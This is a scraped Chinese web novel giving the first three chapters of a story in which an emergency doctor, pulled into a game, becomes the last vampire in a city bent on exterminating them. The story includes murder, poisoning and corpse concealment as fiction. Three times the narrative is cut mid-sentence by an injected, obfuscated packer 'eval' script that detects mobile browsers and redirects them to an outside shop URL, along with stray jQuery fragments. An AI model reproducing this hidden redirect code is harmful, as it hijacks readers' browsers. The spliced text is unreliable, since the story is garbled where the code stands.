《如何在血族清除计划中存活》
1. 第 1 章
如果再给苏莱尔一个选择的机会,她绝对不会在该死的周三晚上打开这个该死的游戏。
毕竟没有人会因为游戏屏幕里突然伸出的苍白双臂而感到高兴。
尤其自己被那双手臂拽进了屏幕,送到了这儿——
一辆古欧洲风格的马车里。
明明几秒钟前她还坐在家里柔软的沙发上,可现在她手边却是已经掉了漆的鸢尾花铜制扶手。
漆黑的纱幔遮盖住两侧车窗,牢牢挡住了阳光和其他东西。
但苏莱尔确信,自己没有因为黑暗而丧失视野。
她唇线绷直,摘掉包裹到上臂的黑色蕾丝手套,仔细抚摸过充满年代感的车身,直至翘起的木刺扎进肉里,她才深吸一口气——
很好,好极了,这种真实的触感绝不是做梦,她真的穿进了这个名为《污秽圣徒》的游戏里。
还是在她连轴工作一个月后,好不容易得来的完整休息日里!
别开玩笑了!
虽然急诊科的工作繁重劳累,但比起古怪诡异的游戏世界,她更喜欢熟悉的、能被自己掌控的东西!
不过还是有好消息的。
苏莱尔幽幽抬起目光,望向视野中一闪而过的蓝紫色文字。
[角色身份已抽取:莱尔·冈格罗,中央城已故名医哈维·托马斯的遗孀]
刚穿越就死了丈夫,还有比这更好的消息吗?
就在这时,马车外的嘈杂声忽然变得激烈,似乎有不少人大声呐喊着什么,并快速朝同一个方向奔去。
人潮拥挤,马车也跟着不断摇晃。
苏莱尔抓紧扶手,看见车前有一道身影扭着马头调转方向。
“夫人!”车夫的声音传来,“这次集会的人实在太多了,我们没办法继续前进,只能暂时在这里等上一小会儿了。”
“不过您放心,”他拨开了什么遮挡的东西,低头靠近车身说,“我会把马车停在了广场最边缘,没有人会来打扰您。不过我真的建议您应该出来看看,毕竟这样难得的盛会实在罕见。”
盛会?
苏莱尔确实被聒噪的吵闹声吵的头疼,透过纱幔,她看见无数人围堵在宽敞的环形广场上,正兴奋地对着看台上一名身穿法袍的人高声呼喊。
“大主教!大主教!”
那是个大主教?
莱尔屏息凝神,《污秽圣徒》是她同居的妹妹的团队开发制作的对抗性角色扮演游戏,距离发售还有一段时日,她今晚只是好奇点开,对游戏背景、剧情、玩法一无所知。
这种未知让她紧张。
她唯一记得的,就是在被扯进游戏前,游戏给了她两个阵营的选择。
当时因为帮妹妹做测试,也是第一次玩这个游戏,为了更刺激,所以她毫不犹豫点击了[求生者],连看都没看一眼旁边的[追击者]。
不过现在看来,恐怕这个选择无比正确。
看,有这么多人类同为求生者,还有大主教指引方向,她并非孤身一人。
而且通过呼喊声就能判断,人类的凝聚力很强,组织性高。这样的求生者,往往能给追击者致命一击。
车夫说的没错,这或许是个好机会。
莱尔打算下去看看,在她抓住门把手的时候,平台上的大主教正高高举起双手,沐浴着金色耀眼的日光大喊道,“感恩我主!最后一支吸血家族已被我们彻底清剿!无一存活!”
在他身后,十二座绞刑架缓缓升起。
每一坐绞刑架上面都牢牢绑着一个人形生物,但在接触到阳光的刹那,这些人形生物还未露出脸来就瞬间自燃。
惨叫声划破长空,烈火如歌,围堵在广场中的人们爆发出海浪般的欢呼。
[系统检测,游戏背景已导入]
[背景:中世纪框架下的奇幻异世]
看着眼前的蓝紫色文字,莱尔挑眉,哦哟,原来这个世界的追击者是吸血鬼。
果然很符合宗教背景。
不过吸血鬼一族不是被灭绝了?她们人类求生者应该直接通关了吧?还导入个什么游戏背景啊?
她旋转门把手,一缕阳光落在苍白的手背,仿佛一捧滚烫的开水。
又像一壶高浓度硫酸。
在她还没反应过来时,手背上瞬间烧起一层滚烫的血泡。
“但是——”远处的大主教双手下压,声音里透着嘶哑与神秘,“我仍然看见前方充满不详,阴影盘踞,邪恶裹挟着黑暗游荡在我们身边——血族,恐怕尚未全部灭亡!我们依旧身处危险之中!”
下方有激昂的声音响起,“把它们找出来!杀死它们!”
这句话彻底点燃广场上民众的情绪,无数人挥舞拳头大吼,“把它们找出来!杀死它们!杀死它们!杀死所有会吸血的怪物!”
[系统检测,游戏追击者阵营已激活]
[追击者:全体人类]
熟悉的文字在眼中快速浮现后消失,广场边缘的马车里,莱尔“砰”一下摔回车里,目眦欲裂,用最快的速度将黑色蕾丝手套戴好。
——以此遮挡住刚被烈日灼烧出的伤口。
但灼痛还未消失,那种痛像把血管一根根剜出来,她表情扭曲,却硬生生憋回了所有惨叫,只在心底歇斯底里喊了一声,
“卧槽——”
[系统检测,游戏求生者阵营已激活]
[求生者:莱尔·冈格罗]
[友情提示:阵营与阵营之间不可调和,不可妥协,不可叛变。请玩家作为最后一只血族努力生存,一命通关。]
[否则,您的灵魂肉身将彻底将湮灭于异世。]
[最后,祝您游戏愉快。]
愉快你大爷!
莱尔难以置信地望着手背,浑身上下开始不受控制打颤。
她是吸血鬼?
她是这个世界上仅剩的一只吸血鬼?!
所有人类——这个世界上最狡猾阴险聪慧且数量最多的种族,都是她的敌人?!
不是,这对吗?!
寒意倏一下从脚底上升。
怪不得车窗上覆盖着厚厚一层黑色纱幔。
怪不得在如此漆黑的环境下她依然能看见外面的所有。
莱尔眼前一黑,心脏沉入谷底,绝望和崩溃不知哪个先行到来,却在同一时间淹没了她。
她仿佛已经看见了自己被绑住然后扔到阳光下,无数人为她的死激动高喊的悲惨场景。
外面的狂欢仍在进行,大主教似乎在宣读某些计划,到处都是人类激动的叫喊。绞刑架虽然已经落回看不见的地底,但每个人类仍旧在庆祝胜利,他们互相拥抱,在大理石地面上跳起舞。
连车夫都在站在车上用力挥舞手臂,鸭子似的“嘎嘎”乐着。
然而这种欢庆声落在莱尔耳朵里,和催命符没什么两样。
会死的,如果被发现真的会死的。
冷汗雨似的往下滴,她颤抖着按住受伤的手背,强烈的求生欲猛然爆发。
已经发生的无法改变,可她不一定会死不是吗?
不,她一定不会死!
至少绝对不能死在这个不清不楚的异世界!
她还有妹妹,还有家人和朋友,她必须活着回去!
现在她还没被发现,所以还有…..一定还有机会!
灼烧的皮肉仍在溃烂,和手套牢牢黏住。
莱尔死咬舌尖强迫自己冷静下来。
外面,车夫终于发泄完了,他搓着手坐下来,“夫人,您听见了吗?这太令人激动了!最后一支吸血家族终于灭亡了!剩下零星的血族根本不足为惧!真希望这消息能让您开心点!”
自从托马斯先生去世后,夫人就再也没有对任何事提起过兴趣了。
希望葬礼过后,这样的情况能发生转变。
作为“不足为惧的零星血族”,莱尔根本不知道该做何反应,车厢内只有一片坟墓般的死寂。
车夫等了一会儿,没有等到回答,只能无奈叹了口气,重新执起缰绳,“那您坐好,我现在就把您送回去。”
随着“踢踢踏踏”的声音响起,马车终于离
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081177|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开了令人绝望的广场。
很棒,莱尔擦掉冷汗,给自己打气,她成功活过了开头。
至于车夫,估计正把她送回家或其他什么自己很熟悉的地方。
那么现在,她至少有一段短暂的时间可以用来思考和制定后续存活的计划。
刚刚游戏系统说了阵营和阵营之间不可调和妥协背叛,所以策反是没用的,对上了恐怕只有不死不休的结局。
好消息再次出现了,作为一名干了五年的急诊科医生,莱尔对鲜血与死亡并没有太高的道德观念。她相信自己可以成熟的跨过某条界限,用尽所有可能保全自己的命。
这不是她的世界,这里的任何人或事都和她没有任何关系。
最重要的只有她自己。
活下去就是她现在到未来的终极目标。
然而更让莱尔在意的是系统下一句话。
[请玩家作为最后一只血族努力生存,一命通关。]
一命通关,可通关条件是什么?只有考卷没有问题吗?
而且,系统加载了一切,却独独没有加载出记忆。
车夫认识她,她曾有丈夫,就代表她有完整的生活轨迹,可没有相配的记忆。
这是鼓励她自行探索?还是鼓励她花样作死?
莱尔在心底把游戏系统和那双拽她进来的苍白手臂骂了个遍,然后不再浪费时间,忍着剧痛开始搜索车舱内。
在裙子下方,她找到了一个绣着鸢尾花与香菲草的羊毛小钱袋。里面有一把欧式风格的长柄钥匙,一块干净手帕,一张购买六十五株百合花的莎草纸制订购单,还有几叠让她冷汗狂飙的葬礼邀请函。
上面逝者的名字就是哈维·托马斯,莱尔这个身份的亡夫。
重点在于后面葬礼的日期和主持,九月十三日早七时,安东尼牧师。
非常具体非常棒,但该死的,这到底是什么时候?两天后还是八天后?
看剩余的邀请函数量,所以这个葬礼大概率还没开始。
莱尔闭上眼睛,抖着胳膊用力揉了揉眉骨。
早七时和一名牧师…..这是要把她往死里整啊。
就在这时,马车忽然停了下来。
透过纱幔,莱尔能看见这似乎是一个宽敞的仓库…..抑或是马厩?就建造于一栋二层小楼侧边,和小楼由一条幽暗的连廊连在一起。
小楼有暖白色的墙和斜斜屋顶,漂亮的青石子小路蜿蜒铺就,刻有鸢尾花和胖天使的栅栏下方堆满洁白的百合花,那似乎是民众自发举行的某种悼念行为。
看来哈维医生确实是位名医,莱尔将视线投向更远的地方。
这里似乎真的按照中世纪建造,虽然眼前这栋小楼看起来很不错,可周遭的房子们依然像挤在一起的蜜蜂,狭窄的小巷阴暗/逼仄,没有一丝一毫阳光落下,行人也少的可怜。
“夫人,我们到了。”
车夫一边说着,一边从车顶抱了一大团东西下来,然后堆在后门门口处,又拿了垫板垫在车门下方。
“夫人,”等了一会儿后,他摘掉帽子,疑惑地问,“您还好吗?还需要我送您去其他地方吗?”
必须下车了。
莱尔反复查看仍在颤抖的手背,确认没有一丝一毫伤口露出后抬起手,好好将头顶的薄纱帽整理完毕,让自己的上半张脸全部隐入黑色薄纱内后,她才掀起眼皮。
附近没有阳光,不要害怕,不能停下脚步。
她用完好的那只手,一把推开了车门。
霎时间,热浪带着各种各样的气味一下子涌了过来。
莱尔闻到了腐烂菜叶和鱼的腥臭,地面爬过蚂蚁身上的酸气,还有车夫衣物下返起的汗液的咸。
更重要的是,她闻到了无比清晰的、翻滚在汗液下方、难以忽视的某种甘甜的味道。
这味道远比阳光带来的灼痛更明显,也更激烈。
仅仅只是不到一秒的时间,莱尔就感觉浑身上下瞬间不受控制地烧了起来。
黑纱之下,血族的眼睛猛然变成了红色。
2. 第 2 章
莱尔没有意识到自己身体上的某种变化,可怜的车夫也没有。
他一瞄到只露出饱满红唇和过苍白消瘦下颌的夫人,就慌慌张张弯下腰,不敢多看,“夫人,百合花我已经全部拿下来了。如果没什么事,我先把其他东西送去给安东尼牧师了。葬礼前我再来接您。”
说完,他连钱都忘了领,跳上马车就要跑。
两人擦肩而过时,莱尔几乎控制不住自己想要转身把人抓回来的欲/望。
然而下一秒,掌心传来的尖锐疼痛瞬间拽回了理智。
莱尔怔愣低头,才发现左手掌一片血肉模糊。
那是被她自己无意识划出来的伤口,罪魁祸首来自右手指不知何时暴涨的指甲。
马儿嘶鸣,幸运的车夫跑的太快,根本不知道自己刚刚经历了什么。
所以他也没有例行下来检查车舱,自然也没有注意到在车座下方的位置,有一小块血渍,正缓慢腐蚀着木制地板。
那是莱尔刚才被阳光灼烧时,不小心滴落下来的。
马车穿过的动静吸引了零星路人,有人好奇望了过来,莱尔心脏“突”地一跳,强烈的恐慌暂时盖过了饥饿,她逃似的冲向房门,掏出钥匙迅速打开后撞了进去。
…..太饿了,真的太饿了。
那种剧烈的渴望仍然鞭打着脑仁深处,喉间全是干渴,很想抓住什么柔软的东西咬上一口。
莱尔用尽全力压制冲动,幽魂似的在黑漆漆的方厅里转了一圈,确认没有其他活着的生物后一把摘掉手套,将被灼伤的手背怼进嘴里,凶狠地吸了一大口。
然后,“呕——呸呸呸!”
吸血鬼的血真难喝啊!像臭水沟里掺沙子。
莱尔滑坐在地面,艰难等待海啸般的饥饿感过去。
为了转移注意力,她不得不开始研究该死的游戏系统,除了一句话角色卡以外,究竟还有没有能用得上的玩意儿了!
系统没有让她失望。
当莱尔集中精神时,一道蓝紫色的光幕忽地展开。
[基础角色人物卡:
姓名:莱尔·冈格罗
阵营:求生者
随机身份:中央城已故名医哈维·托马斯的遗孀
固定身份:血族
等级:新生儿
已解锁技能:感官敏锐,快速移动,非凡之力,鲜血盛宴
血量:75/100
饱食度:30/100(您已处在发狂边缘,请尽快进食)]
果然有!
她精神一振,仔细观看起来。
血量的损失应该就是指手背上的伤了,被阳光照一下直接掉了25点血,这数值可太大了。不过还好,还在可接受的范围内。
就是…..这块面板上是不是少了点什么东西?
反复连看几遍,莱尔才发现一件让她浑身冒汗的事实——
经验条呢?
血条饱腹条都在,经验条呢??
明明有等级一说,为什么不给经验条?那还怎么升级?
莱尔崩溃地捂住脸,这破系统不会出bug了吧?
不过她并没有因此颓丧太长时间。
既然事实已无法改变,闹心也没用,倒不如看看她现在有什么。
于是,她开始专注于已有的四个技能。
当她认真盯住某个技能时,一小段说明徐徐展开。
感官敏锐不必说,她刚刚已经体会过了。无论是细小的蚂蚁还是有一定距离的人类,她都能迅速察觉捕捉。就连绝对黑暗中,她也能精准视物。
她的五感得到了强力提升。
快速移动和非凡之力同样属于血族血脉的馈赠,快速移动指的是速度,尤其是在黑暗当中,她跑的可以比风还快,人类只能看见她的虚影。
非凡之力则是代表她成为了大力士,按照描述,她一次性能单手抬起三个肌肉版成年男性。
最重要的就是鲜血盛宴。
【鲜血盛宴】:您可以且仅可以通过吸食人类血液恢复伤势并去除一部分负面状态。
棒极了!
求生者只能喝追击者的血恢复状态,还有比这更蹬鼻子上脸的求生阵营吗?
莱尔狠狠闭上眼,再睁开后血红色已经消失,剩下的只有破釜沉舟的坚定。
无论如何,她都得活下来。
不就是血液吗?
她的脑子疯狂转动,自己所擅长的领域一一闪过脑海。
莱尔出生在医学世家,父亲是位老中医,母亲工作于妇产科,而她自己则在本硕连读后成为了一名急诊科医生。
要说她最擅长的,应该就是医疗手段…..
突然,一句话闪电般劈进脑海。
[游戏背景:以中世纪为框架的奇幻异世]
中世纪,那个黑暗时代最出名的是什么?
教会的思想禁锢,肮脏的生存环境,和离谱的放血截肢疗法!
放!血!截!肢!
简直为她这位已故名医的遗孀量身打造!她有非常充分的理由接手一家医疗诊所!
来看病的话,流点血很正常吧?
莱尔扶着门框摇摇晃晃站了起来,一个胆大包天的计划迅速在脑海中形成。
跑是没用的。
在马车里,黑色纱幔挡住一切。
在这个所谓的家里,厚重的窗帘同样拦住阳光。
在她穿越之前,“莱尔·冈格罗”就已经作为吸血鬼存在了。
“莱尔”不可能没有尝试过逃跑,那些被绑在绞刑架上的血族家族们也不可能没有尝试过。
但结果显而易见。
而且她现在对这个世界的一切都知之甚少,这是一个宗教世界,是一个游戏世界。吸血鬼有技能,那牧师呢?大主教呢?是否有魔法存在?
更别提【鲜血盛宴】的苛刻前提,和悬在她头顶的“通关条件”。
这一切都在提醒她,想办法在人类社会中活下去,可能是最好的一条路。
而重开丈夫的医疗诊所,就是她目前唯一的机会!
必须活着,好好活着。
只有活着,才能想办法找到回家的路。
身体重新有了支柱,莱尔向前迈出脚步,准备好好搜索一下这栋房子,为补全记忆和重开诊所做准备。
然而,当她打开走廊尽头的第一扇门时,身体一下停住了。
只见昏暗无比的房间里,一具尸体直挺挺地躺在木板搭成的床上。而木板床旁边,正悄无声息站着一个金发碧眼的男人。
“你回来的可真晚啊,宝贝。”那男人手里把玩着一个小水晶瓶说,“在外面呆了那么久,为什么不进来找我?我和哈维先生已经等了你很久了。”
哈维先生…..所以这具尸体就是她死掉的丈夫?为什么会摆在家里??
而且这味道,莱尔身体绷直,浓烈的腐臭味和河水的腥气充斥房间。那味道甚至盖过了活人身上血液流动的香气,没有让莱尔当场暴走。
更重要的是,眼前这个金发男的脸很年轻,对她说话的语气很熟稔,两人是可以直呼“宝贝”这种称呼的关系。
所以….这到底是谁?
莱尔的目光在男人和尸体之间来回扫视,心脏狂跳如擂鼓,冷汗瞬间浸透后背。
她根本不知道该说些什么,只能面无表情松开门把手,解释了一句无关紧要的问题,“路上碰到了集会,你知道的,有那些吸血的家伙在,人实在太多,所以耽误了。”
“哦,让人作呕的血族,真可惜我没有亲眼看见它们被烧死。”金发男人笑了一下,一边抛着水晶瓶一边走了过来,“不过感谢那些家伙,多亏了处死它们的仪式,我才能安然无恙帮你把这东西偷出来。”
说完,他随手一扔,水晶瓶立刻呈抛物线朝莱尔砸了过来,她下意识接住,里面的绿色液体晃来晃去。
…..这是什么?她要干什么?为什么她要让男人去偷这个?谁能告诉她现在到底是怎么个情况?!
莱尔简直想尖叫。
她盯着水晶瓶,试探着抛出一句话,“这东西…..”
“对,这就是你要的普通制腐化水。只要倒进哈维的嘴里,就能溶解他喝下去的那些毒药,包括他肚子里所有东西,任何人都检查不出来。”
金发男人已经离莱尔很近了,他的呼吸喷在莱尔头顶,一只手轻挑卷起女人的几缕长发,满眼都是某种毫不掩饰的欲/望。
“宝贝,再也没有人知道是你杀死了你的丈夫,就算哈维的那个当圣骑士长的弟弟亲自回来,也检查不出一点不对劲。除非他想把他亲哥哥的肚皮剖开。”
“所以我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081178|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在,终于成功了,以后再也不会有人干涉我们了。”
说完,金发男深深地在她头顶吻了一下。然后两只手就要伸过来把人抱进怀里。
莱尔只觉得头要炸开了。
这人竟然是她的地下情人!还和她一起合谋毒死了她的丈夫!
现在她要用这瓶什么鬼腐化水掩盖毒药的罪行,而且她丈夫还有一个圣职者的亲弟弟。
“就算”是一个比较特殊的词,代表了这个亲弟弟应该是比较难搞的那种人,以至于金发男在这种时候特意提了一嘴。
反而葬礼邀请函上写的安东尼牧师,是被忽略的那一个。
圣骑士长,听起来像是光明阵营的某种强悍职业。
莱尔心跳的越来越快,她在混乱中牢牢记下每一条信息,试图快速拼凑出一个完整的故事。
但现在的重点不是这个。
随着金发男的靠近,浓烈的人味兜头罩了下来。
莱尔听见强烈的饥渴感在胸腔里横冲直撞,迫切需要一个发泄口。
可现在还不行。
她死死屏住呼吸,有太多太多事情还没有弄明白,金发男绝对不能死。
于是莱尔拼尽全力压制扑上去的冲动,趁金发男闭眼作深情状时朝旁边轻轻一撤。
【快速移动】发挥了作用,金发男只觉得什么东西一晃,下一秒莱尔就出现在了他的身后。
扑了个空的金发男睁开眼睛后:“?”
“抱歉,宝贝,”莱尔狠狠嗅了两口尸臭,决定胆大一点主动出击。
“现在不是做这些的时候,”她站在尸体旁边说,“你确认你偷这东西的时候,没有被任何人发现吗?”
金发男疑惑地看了看她,“当然没有,我可是‘无所不能的道森‘。我六岁就从富人兜里偷钱袋了,更别说这次盛大的集会,几乎所有牧师都去观看了,修道院空的像是清晨的风情街,连街上的巡逻队都不在。”
“宝贝,我们的计划天衣无缝,你还有什么可担心的?”
道森,原来他叫道森。
莱尔打开腐化水瓶,垂下眼睛闻了闻,避重就轻地道,“我只是….我也说不清。”
恶劣的味道,像加了苦味剂的菠菜水。
“好吧,好吧!我明白了!”金发男脸色有点沉,他翻了个白眼走过去,一把将腐化水抢了过来,接着一股脑倒进了尸体的嘴里。
按理说,尸体是无法进行自主吞咽的。可这瓶水一倒进去,就消失不见了。
没过几秒,莱尔就听见尸体的肚子里传出细细密密的气泡声。
仿佛强硫酸在一口口吃掉胃和肝脏。
看着她认真观察尸体的表情,金发男脸彻底黑了。
“你不相信我?你觉得我在骗你?喂——冈格罗,你什么意思?该不会是想把我甩下,然后独吞掉哈维的财产吧?”
好嘛,财产,原来这就是为什么丈夫必须死的理由。
莱尔表情微妙地抬起头,没想到自己随机抽取的人物竟然还喜欢玩黑吃黑。
作为一只半路出家的吸血鬼,她似乎有点明白原来的“莱尔”究竟想做什么了。
有什么是比“有钱的寡妇”更自由自在的身份?她甚至还可以因为“过度伤心”而拒绝一切需要白天出席的场合。
只是想要达成这一切,还差最后两步。
安然度过葬礼,以及…..
看她彻底沉默下去的样子,道森彻底怒了,他朝莱尔冲了过去,想要掐住她的脖子,“你这荡/妇永远别想甩下我!是我帮你弄来的毒药!是我帮你把人推下河装作淹死的样子!也是我弄来的腐化水!现在你想独吞?!根本不可能!我会去告诉维格你是个多么阴险的女人!让他亲手为他哥哥报仇——唔!”
伸到一半的手被另一只手轻而易举抓住,莱尔眼中的一切都仿佛按下慢放键,她只是轻轻一掰,道森的小臂就立刻弯折成一个诡异的弧度。
下一秒,他整个人都随着巨大的力道被甩飞了出去,重重撞在墙壁上,然后栽倒在地。
这一下撞的实在太狠,道森喉咙腥甜,没忍住吐出一口血。
独属于人类的新鲜血液仿佛枫树干里流淌出的枫糖浆,瞬间散发出无与伦比的香气。
下一刻,道森恐惧地发现莱尔的眼睛,不知何时变得一片血红。
3. 第 3 章
莱尔不再继续说话,也不再继续动了。
苍白如牛奶般的脸上慢慢爬上蜘蛛丝般青紫色的细线,完全扩张的瞳孔森然钉在她脸上。
巨大的恐慌席卷了道森整个人,他顾不上身体上的疼痛,连滚带爬朝房间外冲去。
“血….血….她是血….!”最后一个字还没喊出来,一个冰凉的东西猛然贴上了他的脖子。
道森已经吓疯了,他从腰间摸出一把小刀,发疯似的向后划,然而刚一转身,他握刀的手就被熟悉地再次折断。
猩红的瞳孔贴在离他极近的地方,他确信自己在那一刻看见了地狱里爬出来的恶魔。
下一秒,恶魔咬住了他的脖子。
人类的颈间多么脆弱呀。
道森连最后一口气都还没呼出来,颈椎骨就“咔嚓”一下折断成了诡异的弧度。
大半血管全都破裂了,血液仿佛奔腾的瀑布河流,毫无阻碍涌向血族的食道。
温热,顺滑,恰到好处的甜。
那是和凝固干涸的血块完全不同的味道,是比蜂蜜云朵更柔软蓬松的味道。
莱尔只觉得眼前炸开一个红色闪光弹,崩裂的碎片凝结成一片巨大而绚烂的烟花。
烟花吞没了她的理智,她的大脑像泡在温泉里,只剩更多汹涌而来的强烈渴望。
只过去了几秒钟,道森就不再挣扎。
又过了几分钟,莱尔才终于松开了嘴。
金发碧眼的男人绵羊似的软软倒下,刚刚还璀璨的蓝眼睛此时已经变成灰色,和干瘪缩水的上半身放在一起,如同金字塔下被压了几千年的木乃伊。
“嘶…..”
回过神的莱尔下意识摸了一下自己的嘴,摸到一手血。口腔中的芬芳仍未散去,饱腹感让整个人都变得懒洋洋的。
可她的心脏还是不受控制狂乱地跳了起来。
“我杀了他。”
“不,我吃掉了他。”
在饥饿感到达临界值的时候,血族的食欲代替了理智。
她吸干了道森。
有鸟的叫声从窗外传来,莱尔脑海中短暂出现了空白。
即使已经做好了心理准备,可当这一切发生的时候,她依旧感到了某种难以言喻的茫然和僵硬。
独独没有恐慌。
毕竟没有哪个刚吃饱的人会对着一盘生腌牛肉感到恐慌。
“太沉不住气了….应该再等一等的…..”莱尔使劲晃了晃脑袋,让理智和清醒重回高地,“如果绑住他的四肢,一口一口慢慢地咬,或许就能获得更多有用的信息。”
不过现在也已经足够。
道森说出了不少东西,一个名叫维格的圣骑士长会来参加葬礼,她除了血族之外还是一名凶手,街上会有巡逻队…..
[主线剧情任务触发]
在莱尔整理思绪的时候,熟悉的蓝紫色光幕突然出现了。
[看似平静的中央城危机四伏,不少先祖在此地丧生。可你是幸运的,你在危险中喂饱了自己,获得了短暂却快乐的一餐。但异乡人,这还远远不够。如果想在人类的捕杀中存活下去,延续血族的血脉,你还需要做的更多。
让我们从制造一间绝对安全的安全屋开始,怎么样?]
[安全屋任务要求:建立稳定的落脚点,阳光照射屋内时常不得超过3小时(目前已完成2.6h/3h),存储血量达到3000毫升(目前已完成0/3000ml),怀疑人数不得超过3个(目前已完成0/0)。]
[任务奖励:一件来自始祖的遗物]
始祖的遗物?莱尔呼吸微微急促起来。
没吃过猪肉的人也一定见过猪跑的,莱尔同样如此。她看过不少有关吸血鬼题材的电影及小说,里面无一例外都用很多笔墨描写了血族的始祖——那些无比强大、仅以血脉就能轻松压制所有吸血鬼的种族天花板,力量浩瀚、储备资源庞大且深厚,是一群不折不扣的地位崇高、优雅冷血的生物。
除了总是死的早这一缺点以外,非常令人驰往。
就算这个世界的血族始祖和她之前看过的不太一样,但一个种族的老祖宗,一定会有难以想象的好东西。
现在的莱尔极其需要好东西,武器、装备、超能力,无论什么,只要给她就不挑!
况且她是有任务能做的!还有任务奖励可以拿!
那是不是意味着,她升级的条件同样隐藏的任务当中?她的技能栏是不是还能扩展?
这一猜测让莱尔的精神二次振奋起来。
只是现在唯一的问题是,3000ml的血液存储量,作为医生,她很清楚,这是一个体重60公斤左右的成年人的血液总量。
要是加上放血时候的损耗,和这个时代因为营养不良导致的体重身高普遍矮小——她至少需要一个成年人,再加另一个成年人的一条腿或者整个腹腔。
这一发现让她发热的脑袋凉了下来,她盯着地面上新鲜的男性人类,觉得自己至少有了个好的开始。更多的急不来,先把葬礼安全度过去才是关键。
想通这一点,莱尔索性关掉光幕,转而集中精神打开另一个。
很高兴上面的文字发生了变化,在她吸干了一个人类之后。
[基础角色人物卡:
姓名:莱尔·冈格罗
阵营:求生者
随机身份:中央城已故名医哈维·托马斯的遗孀/杀死哈维·托马斯的凶手之一/道森·奥古斯塔的地下情人
固定身份:血族
等级:新生儿
已解锁技能:感官敏锐,快速移动,非凡之力,鲜血盛宴
血量:100/100
饱食度:98/100(您的状态前所未有的好)]
很好,果然饱食度上来了,状态也会改变。
只要不随时随地都会因为血液而发狂,她就能想办法在人类社会当中苟住命。
而且——
莱尔仔细查看早上被阳光灼烧的手背,那里已经变得光洁如新,根本看不出任何痕迹。
原来如此。
血族血族,血液即是一切。
她的力量、健□□命全都依赖于人类血液。
果然,选择留下是对的。
莱尔站起身,视线落在地上的尸体上。
….当务之急,得先把这家伙处理掉。
这时,她忽然感到了一阵荒诞的滑稽。
这房子里一共就三个人,有俩都是她弄死的。
如果她有一张【绝对不能被人知道的事】的清单,一定会写的比她头发还要长。
窗帘外仍是白天,莱尔不能出去,只能暂时先把道森藏进房子某个角落,以防再有什么不速之客上门。
只是一整个藏起来有点困难,也太显眼,如果能分批藏匿情况就会好很多。
莱尔站起身,开始仔细搜索整栋房子。
斑驳的墙壁上挂着一座古朴的自鸣钟,最顶部写有一行小字,“圣主是我的牧者,我必不至缺乏。”
下方最中央处则写着大大的“九月十二”,那应该就是日历的部分。
而自鸣钟上的圆形表盘,则和莱尔熟知的24时间分割一模一样。唯一的区别就是这里的时间前方,会加一个“圣”字。
例如一圣时,八圣分,三十二圣秒。
还真是对神名爱的深沉。
已知葬礼是九月十三,她还有一天的时间。
莱尔不知道自己该紧张还是该怒骂,显然的是,这两种情绪她都没有时间去处理。
她迅速行动起来,花了一点时间仔细打开每一扇门,搜索了卧室、厨房、客厅、卫生间,知晓了自己或亡夫绝对是鸢尾花的忠实拥护者,且两人迈入婚姻整整三年。
她没有孩子,没有仆人,只有那辆马车和车夫是她的财产,她死掉的丈夫年收入大概在350-600圣金币左右。
这已经是一个比较高的收入了,毕竟在账本上详细记载着车夫的薪水——每月只要6个圣银币。
“没想到我还是个有钱的吸血鬼。”
莱尔呢喃着举起最闪亮的一枚钱币,那是一种不太规则的圆形金币,上面的花纹是圣父举起太阳。在卧室的一个上锁的柜里装着不少,除此之外还有圣银币和圣铜币。
根据医生遗留下来的账本记录,莱尔搞清楚了1枚圣金币=100枚圣银币=10000枚圣铜币。
而一袋2磅左右的精细小麦的价格是12铜,一块同等重量的牛肉则是80铜,这两种应该是她家的主要食物,哈维医生似乎非常阔绰。
除此之外,她还在储藏室里找到了不少堆积的酒瓶和尚未开封的酒。
莱尔尝试了一口,当即吐了出来。
不止是酒,连面包、奶酪她都咽不下去,血族的身体在拒绝人类的食物。
所以这些酒看来都是哈维医生喝的了。
莱尔关上储藏室的门,然后在卧室旁边找到了一间工作间。
这里应该是哈维医生治疗病人的地方,地缝里满是沉疴的黑褐色血渍,墙壁上挂满医用刑具——放血刀、长柄锯和颅骨环钻,空气中全是血腥味。
莱尔却不再冲动,吃饱的血族能够忍受浓烈的气味。
她很快发现了桌台上的薄皮本,上面详细记录了哈维医生治疗过的每一位顾客。
和她想的一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081179|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放血与截肢占据了绝大部分。另一部分则是油漆美容、灌肠疗法、用有毒的屁催眠等等。
哈维治疗的最后一位病患,就是一个名叫“巴罗·史蒂芬”的人,可怜的男人连续灌了三次肠,只求治好自己的偏头痛。
这一发现让莱尔倍感愉悦,“这里就是天堂吧?看来我的打算没有错。”
如果哈维医生能够以这种方式(单指放血截肢)治疗病人,那么她也可以。
